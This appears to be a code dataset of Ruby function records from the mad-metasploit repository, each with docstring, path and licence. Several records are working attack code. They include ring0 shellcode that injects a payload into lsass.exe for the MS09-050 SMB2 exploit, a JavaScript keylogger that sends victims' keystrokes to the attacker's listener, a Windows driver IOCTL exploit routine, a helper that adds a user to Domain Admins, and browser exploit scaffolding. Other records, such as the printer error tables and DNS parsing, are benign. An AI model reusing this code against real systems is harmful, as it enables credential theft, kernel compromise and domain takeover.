print_status("Auto-targeting returned #{targs.length} candidates...")
targs.each_with_index { |targ, idx|
# Never try the debug target automatically :)
next if targ.name =~ /Debug/
exploit_target(targ)
}
else
exploit_target(target)
end
end
|
If auto, ask the auto_target function for a list of
targets to try...
If not auto, just try the selected target.
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/win_x86/remote/16782.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/win_x86/remote/16782.rb
|
MIT
|
def get_handle(pid)
handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return nil unless handle
vprint_status('Successfully opened a handle to the driver')
buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')
session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD',[
['DWORD', 'FileHandle', 'in' ],
['DWORD', 'Event', 'in' ],
['LPVOID', 'ApcRoutine', 'in' ],
['LPVOID', 'ApcContext', 'in' ],
['PDWORD', 'IoStatusBlock', 'out'],
['DWORD', 'IoControlCode', 'in' ],
['PBLOB', 'InputBuffer', 'in' ],
['DWORD', 'InputBufferLength', 'in' ],
['PBLOB', 'OutputBuffer', 'out'],
['DWORD', 'OutputBufferLength', 'in' ],
])
result = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a050, buffer, buffer.length, buffer.length, buffer.length)
return nil if result['return'] != 0
session.railgun.kernel32.CloseHandle(handle)
result['OutputBuffer'].unpack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')[1]
end
|
this is where the actual vulnerability is leveraged
|
get_handle
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/win_x86-64/local/42368.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/win_x86-64/local/42368.rb
|
MIT
|
def mydn_expand(packet,offset)
name = ""
packetlen = packet.size
while true
raise ExpandError, "offset is greater than packet length!" if packetlen < (offset+1)
len = packet.unpack("@#{offset} C")[0]
if len == 0
offset += 1
break
elsif (len & 0xC0) == 0xC0
raise ExpandError, "Packet ended before offset expand" if packetlen < (offset+2)
ptr = packet.unpack("@#{offset} n")[0]
ptr &= 0x3FFF
name2 = mydn_expand(packet,ptr)[0]
raise ExpandError, "Packet is malformed!" if name2 == nil
name += name2
offset += 2
break
else
offset += 1
raise ExpandError, "No expansion found" if packetlen < (offset+len)
elem = packet[offset..offset+len-1]
name += "#{elem}."
offset += len
end
end
return [name.chomp("."),offset]
end
|
Shamelessly borrowed from the lib/net/dns code
|
mydn_expand
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/capture/mdns_collector.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/capture/mdns_collector.rb
|
MIT
|
def errors_handling(err_code)
err_code = err_code.to_i + 32000
# PJL File System Errors (32xxx)
fs_errors = {
'32000' => 'General error',
'32001' => 'Volume not available',
'32002' => 'Disk full',
'32003' => 'File not found',
'32004' => 'No free file descriptors',
'32005' => 'Invalid number of bytes',
'32006' => 'File already exists',
'32007' => 'Illegal name',
'32008' => 'Can\'t delete root',
'32009' => 'File operation attempted on a directory',
'32010' => 'Directory operation attempted on a file',
'32011' => 'Not same volume',
'32012' => 'Read only',
'32013' => 'Directory full',
'32014' => 'Directory not empty',
'32015' => 'Bad disk',
'32016' => 'No label',
'32017' => 'Invalid parameter',
'32018' => 'No contiguous space',
'32019' => 'Can\'t change root',
'32020' => 'File Descriptor obsolete',
'32021' => 'Deleted',
'32022' => 'No block device',
'32023' => 'Bad seek',
'32024' => 'Internal error',
'32025' => 'Write only',
'32026' => 'Write protected',
'32027' => 'No filename',
'32051' => 'End of directory',
'32052' => 'No file system',
'32053' => 'No memory',
'32054' => 'Vol name out of range',
'32055' => 'Bad FS',
'32056' => 'Hardware failure'
}
if (fs_errors.has_key?(err_code.to_s))
return fs_errors[err_code.to_s]
else
return 'Bad command or error'
end
end
|
PJL commands are recognized by the following HP printers:
. LaserJet IIISi, 4Si, 4SiMx, 5Si, 5SiMx, 5Si Mopier
. LaserJet 1100 Series, 2100 Series
. LaserJet 4000 Series, 5000 Series
. LaserJet 8000 Series, 8100 Series
. LaserJet 4V, 4MV
. LaserJet 4, 4 Plus, 4M, 4M Plus, 5, 5M
. LaserJet 4L, 4ML, 4LJ Pro, 4LC, 5L, 6L
. LaserJet 4P, 4MP, 4PJ, 5P, 6P, 6MP
. Color LaserJet, Color LaserJet 5, 5M
. Color LaserJet 4500 Series, 8500 Series
. DeskJet 1200C, 1600C
. DesignJet Family
. PaintJet XL300
|
errors_handling
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/hp/hp_laserjet_download.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/hp/hp_laserjet_download.rb
|
MIT
|
def errors_handling(err_code)
err_code = err_code.to_i + 32000
# PJL File System Errors (32xxx)
fs_errors = {
'32000' => 'General error',
'32001' => 'Volume not available',
'32002' => 'Disk full',
'32003' => 'File not found',
'32004' => 'No free file descriptors',
'32005' => 'Invalid number of bytes',
'32006' => 'File already exists',
'32007' => 'Illegal name',
'32008' => 'Can\'t delete root',
'32009' => 'File operation attempted on a directory',
'32010' => 'Directory operation attempted on a file',
'32011' => 'Not same volume',
'32012' => 'Read only',
'32013' => 'Directory full',
'32014' => 'Directory not empty',
'32015' => 'Bad disk',
'32016' => 'No label',
'32017' => 'Invalid parameter',
'32018' => 'No contiguous space',
'32019' => 'Can\'t change root',
'32020' => 'File Descriptor obsolete',
'32021' => 'Deleted',
'32022' => 'No block device',
'32023' => 'Bad seek',
'32024' => 'Internal error',
'32025' => 'Write only',
'32026' => 'Write protected',
'32027' => 'No filename',
'32051' => 'End of directory',
'32052' => 'No file system',
'32053' => 'No memory',
'32054' => 'Vol name out of range',
'32055' => 'Bad FS',
'32056' => 'Hardware failure'
}
if (fs_errors.has_key?(err_code.to_s))
return fs_errors[err_code.to_s]
else
return 'Bad command or error'
end
end
|
PJL commands are recognized by the following HP printers:
. LaserJet IIISi, 4Si, 4SiMx, 5Si, 5SiMx, 5Si Mopier
. LaserJet 1100 Series, 2100 Series
. LaserJet 4000 Series, 5000 Series
. LaserJet 8000 Series, 8100 Series
. LaserJet 4V, 4MV
. LaserJet 4, 4 Plus, 4M, 4M Plus, 5, 5M
. LaserJet 4L, 4ML, 4LJ Pro, 4LC, 5L, 6L
. LaserJet 4P, 4MP, 4PJ, 5P, 6P, 6MP
. Color LaserJet, Color LaserJet 5, 5M
. Color LaserJet 4500 Series, 8500 Series
. DeskJet 1200C, 1600C
. DesignJet Family
. PaintJet XL300
|
errors_handling
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/hp/hp_laserjet_enum_fs.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/hp/hp_laserjet_enum_fs.rb
|
MIT
|
def run_host(ip)
port = datastore['RPORT']
# The message can be any combination of printable characters (except
# quotation marks, character 34) and spaces, with a limit of 1 line
# of 16 characters. The message variable is a string and must be
# enclosed in double quotes as shown in the command syntax.
message = datastore['MESSAGE']
if ((message.length() > 16) or (message =~ /"/))
print_error("Message invalid. Max 16 characters and no quotation marks.")
return
end
print_status("Connecting to #{ip}:#{port}...")
conn = connect
# Format of PJL Commands - #4
#
# @PJL command [command modifier : value] [option name [= value]] [<CR>]<LF>
# This format is used for all of the other PJL commands.
# The PJL prefix .@PJL. always must be uppercase.
prefix = "@PJL "
postfix = "\r\n"
# RDYMSG specifies a "ready message" that replaces the "00 READY"
# message on the printer control panel. The RDYMSG command does
# not affect the online state.
command = 'RDYMSG DISPLAY = "' + message + '"'
req = prefix + command + postfix
vprint_status("Sending request to #{ip}: #{req.chop}")
conn.put(req)
# Using RDYMSG command we cannot wait for an answer.. so we go away!
print_status("Now you can manually verify on printer control panel.")
disconnect
end
|
PJL commands are recognized by the following HP printers:
. LaserJet IIISi, 4Si, 4SiMx, 5Si, 5SiMx, 5Si Mopier
. LaserJet 1100 Series, 2100 Series
. LaserJet 4000 Series, 5000 Series
. LaserJet 8000 Series, 8100 Series
. LaserJet 4V, 4MV
. LaserJet 4, 4 Plus, 4M, 4M Plus, 5, 5M
. LaserJet 4L, 4ML, 4LJ Pro, 4LC, 5L, 6L
. LaserJet 4P, 4MP, 4PJ, 5P, 6P, 6MP
. Color LaserJet, Color LaserJet 5, 5M
. Color LaserJet 4500 Series, 8500 Series
. DeskJet 1200C, 1600C
. DesignJet Family
. PaintJet XL300
|
run_host
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/hp/hp_laserjet_ready_msg.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/hp/hp_laserjet_ready_msg.rb
|
MIT
|
def title(resp)
title = nil # will hold the <TITLE> contents, can occasionally hold more if <title></title> screwy
if ( resp.body.length > 0 and resp.body.match(/<title.*\/?>(.+)<\/title\/?>/i) )
title = $1
end
if title # get rid of \n and limit \s and truncate if still too long
title.gsub!(/\n/, '')
title.gsub!(/\s{1,100}/, ' ')
title.gsub!(' ', ' ')
title.gsub!('>', '>')
title.gsub!('<', '<')
title.gsub!(' ', '')
title = title[0,80] if title.length > 80 # probable bad regexp, truncate to 80
end
return title
end
|
Returns the title from the body of the response
|
title
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/scanner/http/fingerprint.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/scanner/http/fingerprint.rb
|
MIT
|
def on_request_uri(cli, request)
send_response(cli, @wpad_data, { 'Content-Type' => "application/x-ns-proxy-autoconfig" } )
end
|
Handle incoming requests from the server
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/securestate/proxy_config.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/securestate/proxy_config.rb
|
MIT
|
def save_rhost
@old_rhost = datastore['RHOST']
@old_rport = datastore['RPORT']
end
|
Save the original rhost/rport in case the user was exploiting something else
|
save_rhost
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/unstable/duckduck_password.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/unstable/duckduck_password.rb
|
MIT
|
def report_hash_found(url)
return unless framework.db.active
loot_header = "Hash,URL"
loot_line = "\"#{pw_hash}\",\"#{url}\"\n"
existing_loot = framework.db.loots.find_by_ltype("internet.hashes")
if existing_loot
append_to_loot(existing_loot,loot_line,url)
else
loot_file = [loot_header,loot_line].join("\n")
p = store_loot("internet.hashes","text/plain",nil,loot_file,"internet_hashes.csv","Internet-Searchable Hashes")
print_status("Saved hash and URL to #{p}")
end
end
|
Instead of one loot file at a time, it's nicer to just append.
|
report_hash_found
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/unstable/duckduck_password.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/unstable/duckduck_password.rb
|
MIT
|
def initialize
super(
'Name' => 'IP Address Geolocation',
'Description' => %q{
This module looks up the physical location of an ip address and optionally creates a
kml file with the mapping. Set the VERBOSE option to see the data. It can be used with
the IPInfoDB API, or locally with the GeoIP-city database and gem. Instructions have
been linked in the references section (geoip-howto).
},
'References' => # XXX These references are now invalid, give 404s and other errors.
[
[ 'URL', 'http://blog.0x0e.org/2010/11/11/ip-list-to-kml-generator-create-a-google-maep-from-a-list-of-ips/' ],
[ 'URL', 'http://www.0x0e.org/x/geoip-howto.txt']
],
'Author' => [ 'jcran' ],
'License' => MSF_LICENSE
)
register_options(
[
OptBool.new('USE_LOCAL_DB', [ true, "Use the Local GeoCityIP API", true]),
OptPath.new('GEOIP_DB', [ false, "Local MaxMind GeoCityIP database", 'GeoLiteCity.dat']),
OptBool.new('GEN_KML', [ false, "Generate a KML file", true]),
OptPath.new('KML_FILE', [ false, "Specify a KML file name", "/tmp/ip_list.kml"]),
OptString.new('API_KEY', [ false, "API Key for IPInfoDB", 'NONE']),
OptPath.new('IP_FILE', [ true, "List of IP Addresses", '/tmp/ip_list']),
OptBool.new('VERBOSE', [ false, "Print the data as it's queried", true]),
OptBool.new('RESOLVE', [ false, "Resolve hostnames", false])
], self.class)
register_advanced_options(
[
OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]),
OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]),
OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2])
], self.class)
end
|
# This module can make use of the local GeoIPCity database and gem for improved
# querying speeds. It's highly recommended that you follow these instructions
# and prepare your system for a local DB if you're planning to do more than a few queries
# GET THE GEOIP CITY API
# wget http://www.maxmind.com/download/geoip/api/c/GeoIP.tar.gz
# tar -zxvf GeoIP.tar.gz
# cd GeoIP <tab>
# ./configure --prefix=/opt/GeoIP
# make && sudo make install
# GET THE GEOIP_CITY DATABASE
# gem install geoip_city -- --with-geoip-dir=/opt/GeoIP
# GET THE LATEST DATABASE
# curl -O http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
# gunzip GeoLiteCity.dat.gz
# Set the GEOIP_DB variable in metasploit
# msf (ip_geolocate)> set GEOIP_DB /path/to/GeoLiteCity.dat
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/unstable/ip_geolocate.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/unstable/ip_geolocate.rb
|
MIT
|
def get_address_remote(ip)
api_key = datastore['API_KEY']
url = "http://api.ipinfodb.com/v2/ip_query.php?key=#{api_key}&ip=#{ip}&timezone=false"
resp = Net::HTTP.get(URI.parse(url))
end
|
# The following functions are only for remote querying of info ------
# Query IPInfoDB for info about the address
|
get_address_remote
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/unstable/ip_geolocate.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/unstable/ip_geolocate.rb
|
MIT
|
def gen_placemark(ip,info)
xml = ""
xml = xml + " <Placemark>\n"
xml = xml + " <name>" + ip + "</name>\n"
xml = xml + " <description>"
xml = xml + info[:hostname].to_s + ", "
xml = xml + info[:city].to_s + ", "
xml = xml + info[:region].to_s + ", "
xml = xml + info[:country_name].to_s
xml = xml + "</description>\n"
xml = xml + " <Point>\n"
xml = xml + " <coordinates>" +
info[:longitude].to_s + "," +
info[:latitude].to_s + ",0</coordinates>\n"
xml = xml + " </Point>\n"
xml = xml + " </Placemark>\n"
end
|
# End remote queries -------------------------------
# Generate an individual placemark for inclusion in the larger KML file
|
gen_placemark
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/unstable/ip_geolocate.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/unstable/ip_geolocate.rb
|
MIT
|
def demo
html = <<EOS
<html>
<head>
<title>Metasploit JavaScript Keylogger Demonstration Form</title>
<script type="text/javascript" src="#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@random_text}.js"></script>
</head>
<body bgcolor="white">
<br><br>
<div align="center">
<h1>Metasploit<br>Javascript Keylogger Demo</h1>
<form method=\"POST\" name=\"logonf\" action=\"#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit\">
<p><font color="red"><i>This form submits data to the Metasploit listener <br>at #{datastore['SRVHOST']}:#{datastore['SRVPORT']} for demonstration purposes.</i></font>
<br><br>
<table border="0" cellspacing="0" cellpadding="0">
<tr><td>Username:</td> <td><input name="userf" size="20"></td> </tr>
<tr><td>Password:</td> <td><input type="password" name="passwordf" size="20"></td> </tr>
</table>
<p align="center"><input type="submit" value="Submit"></p></form>
<p><font color="grey" size="2">Metasploit® is a registered trademark of Rapid7, Inc.</font>
</div>
</body>
</html>
EOS
return html
end
|
This is the Demo Form Page <HTML>
|
demo
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/unstable/javascript_keylogger.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/unstable/javascript_keylogger.rb
|
MIT
|
def keylogger
code = <<EOS
window.onload = function load#{@random_text}(){
l#{@random_text} = ",";
document.onkeypress = p#{@random_text};
document.onkeydown = d#{@random_text};
}
function p#{@random_text}(e){
k#{@random_text} = window.event.keyCode;
k#{@random_text} = k#{@random_text}.toString(16);
if (k#{@random_text} != "d"){
#{@random_text}(k#{@random_text});
}
}
function d#{@random_text}(e){
k#{@random_text} = window.event.keyCode;
if (k#{@random_text} == 9 || k#{@random_text} == 8 || k#{@random_text} == 13){
#{@random_text}(k#{@random_text});
}
}
function #{@random_text}(k#{@random_text}){
l#{@random_text} = l#{@random_text} + k#{@random_text} + ",";
if (window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}
else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@random_text}&[" + l#{@random_text} + "]",true);
xmlhttp.send();
}
EOS
return code
end
|
This is the JavaScript Key Logger Code
|
keylogger
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/unstable/javascript_keylogger.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/unstable/javascript_keylogger.rb
|
MIT
|
def on_request_uri(cli, request)
@host = cli.peerhost
# Reply with JavaScript Source if *.js is requested
if request.uri =~ /\.js/
content_type = "text/plain"
content = keylogger
send_response(cli, content, {'Content-Type'=> content_type})
request_timestamp(cli,request)
# JavaScript XML HTTP GET Request is used for sending the keystrokes over network.
elsif request.uri =~ /#{@random_text}/
content_type = "text/plain"
send_response(cli, @random_text, {'Content-Type'=> content_type})
log = request.uri.split("&")[1]
hex_to_s(log)
@loot << "#{cli.peerhost} - #{current_time} - " + @ascii_log + "\n"
if log.length > 1
print_good("#{cli.peerhost} - #{current_time} - [KEYLOG] - #{@ascii_log}")
end
# Reply with Metasploit Shield Favicon
elsif request.uri =~ /favicon\.ico/
content = favicon
content_type = "image/icon"
send_response(cli, content, {'Content-Type'=> content_type})
request_timestamp(cli,request)
# Reply with Demo Page
elsif request.uri =~ /metasploit/ and datastore['DEMO']
content = demo
content_type = "text/html"
send_response(cli, content, {'Content-Type'=> content_type})
request_timestamp(cli,request)
else
# Reply with 404 - Content Not Found
content = "Error 404 (Not Found)!"
send_response(cli, "<html><title>#{content}</title><h1>#{content}</h1></html>", {'Content-Type' => 'text/html'})
end
end
|
This handles the HTTP responses for the Web server
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/unstable/javascript_keylogger.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/unstable/javascript_keylogger.rb
|
MIT
|
def run
start_log
use_ssl?
@ascii_log = ""
@random_text = Rex::Text.rand_text_alpha(12)
script_source = "#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/js#{@random_text}.js"
# Prints Demo Page
if datastore['DEMO']
print_status("Demonstration Form URL => %grn#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit%clr")
end
# Prints HTML Embed Code
print_status("Keylogger <HTML> Code => %blu<script type=\"text/javascript\" src=\"#{script_source}\"></script>%clr")
print_status("Starting keylogger. Please press [CTRl]+[C] if you wish to terminate.")
# Starts Web Server
begin
exploit
rescue Interrupt
path = store_loot("javascript.keystrokes", "text/plain", @host, @loot)
print_status("Stored loot at #{path}")
end
end
|
This is the module's main runtime method
|
run
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/unstable/javascript_keylogger.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/unstable/javascript_keylogger.rb
|
MIT
|
def add_user_domain(sid)
add_user_domain = framework.modules.create("post/windows/manage/add_user_domain")
add_user_domain.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
add_user_domain.datastore['SESSION'] = sid
add_user_domain.datastore['ADDTOGROUP'] = true
add_user_domain.datastore['ADDTODOMAIN'] = true
add_user_domain.datastore['PASS'] = datastore['PASS']
add_user_domain.datastore['USER'] = datastore['USER']
add_user_domain.datastore['TOKEN'] = ""
add_user_domain.run_simple(
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'RunAsJob' => false)
end
|
# add user to the domain and to the domain admins group for a given session id
|
add_user_domain
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/auxiliary/unstable/local_admin_pwnage_scanner.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/auxiliary/unstable/local_admin_pwnage_scanner.rb
|
MIT
|
def on_request_uri(cli, request, resource)
print_status("Sending the #{resource} File to the server...")
send_response(cli, @xsl_data)
@xsl_sent = true
end
|
Handle incoming requests from the server
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/securestate/liferay_xsl.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/securestate/liferay_xsl.rb
|
MIT
|
def initialize(info = {})
super(update_info(info,
'Name' => '[INCOMPLETE] Safari Floating Point Number Parsing Overflow',
'Description' => %q{ },
'License' => BSD_LICENSE,
'Author' => [ 'egypt' ],
'Version' => '$Revision$',
'References' =>
[
#['BID', ''],
#['CVE', ''],
],
'Platform' => [ 'win' ],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Targets' =>
[
# Target 0: Automatic
[
'Windows Safari 3.2.1 via libxml2.dll',
{
'Ret' => 0xdeadbeef, # call eax; libxml2.dll
},
],
],
'DefaultTarget' => 0))
end
|
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::SAFARI,
:javascript => true,
:rank => NormalRanking, # reliable memory corruption
:vuln_test => nil,
})
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/incomplete/windows/browser/safari_float.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/incomplete/windows/browser/safari_float.rb
|
MIT
|
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
|
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
nObfu
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/incomplete/windows/fileformat/adobe_flashplayer_flash10o.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/incomplete/windows/fileformat/adobe_flashplayer_flash10o.rb
|
MIT
|
def on_request_uri(cli, request)
print_status("#{cli.peerhost} is trying to request our malicious file...")
print_status("#{request.uri}")
end
|
The fake web server is used to transfer the malicious payload when HP Data Protector client
requests it.
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/incomplete/windows/misc/hp_data_protector_exec_setup.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/incomplete/windows/misc/hp_data_protector_exec_setup.rb
|
MIT
|
def ring0_x86_payload( opts = {} )
# The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00
# The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
kstager = opts['StagerAddressKernel'] || 0xFFDF0400
# The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
ustager = opts['StagerAddressUser'] || 0x7FFE0400
# Target SYSTEM process to inject ring3 payload into.
process = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')
# A simple hash of the process name based on the first 4 wide chars.
# Assumes process is located at '*:\windows\system32\'. (From Rex::Payloads::Win32::Kernel::Stager)
checksum = process[0] + ( process[2] << 8 ) + ( process[1] << 16 ) + ( process[3] << 24 )
# The ring0 -> ring3 payload blob. Full assembly listing given below.
r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +
"\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
"\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
"\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
"\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" +
"\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" +
"\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
"\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" +
"\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" +
"\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" +
"\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +
"\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +
"\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
# Patch in the required values.
r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + payload.encoded.length - 0x1C ) ].pack("V") )
r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )
# Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
return r0 + payload.encoded
end
|
The payload works as follows:
* Our sysenter handler and ring3 stagers are copied over to safe location.
* The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
* The srv2.sys thread we are in is placed in a halted state.
* Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
* The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
* If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
* Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
* If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
|
ring0_x86_payload
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/incomplete/windows/smb/ms09_050_smb2.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/incomplete/windows/smb/ms09_050_smb2.rb
|
MIT
|
def initialize(info = {})
super(update_info(info,
'Name' => 'Webkit "StyleElement::Process" Integer Overflow Vulnerability',
'Description' => %q{
This module exploits an integer overflow in Webkit r80213 and earlier. This is
used by Google Chrome < 10.0.648.133, Apple Safari < 5.0.5 and other browsers based
on Webkit. The flaw exists in the webkit.dll, in the Webcore::StyleElement::Process
fumction. The total length of string elements is stored in an unsigned integer, and
is then directly used in an allocation. By overflowing the integer with a large number
of text nodes, an undersized allocation occurs and the resulting memcpy overwrites data
on the heap, resulting in remote code execution.
This exploit bypasses DEP & ASLR, and uses the WhitePhosphorus 'Sayonara' method to
do so. Regardless of the unfortunate circumstances of the techniques publicity, props
to them for putting it together.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Anonymous', # Reported to ZDI
'Vincenzo Iozzo, Willem Pinckaers, and Ralf-Philipp Weinmann', # Used to own the Blackberry Torch 9800 at Pwn2Own 2011
'Jon Butler <[email protected]>', # Wrote MSF module
],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2011-1290'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-104/'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread', # graceful exit if run in separate thread
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 0x10000,
'BadChars' => "\x00",
},
'Targets' =>
[
[ 'Webkit <= r80213, Windows 7 (Requires Java)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Auto' => true,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 14 2011'
))
register_options(
[
OptInt.new('SpraySize', [ true, 'The size of our heapspray blocks (actual allocation is double this value)', 0x10000 ]),
OptInt.new('SprayCount', [ true, 'Number of blocks to be sprayed', 0x4 ]),
], self.class
)
register_advanced_options(
[
OptBool.new('SetBP', [ true, 'Set a breakpoint before payload execution', false ]),
OptBool.new('Crash', [ true, 'Use an invalid offset to make the exploit crash (for debugging)', false ]),
], self.class
)
end
|
TODO: Find correct autopwn settings for Webkit
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "3.5",
:ua_maxver => "r80213",
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking,
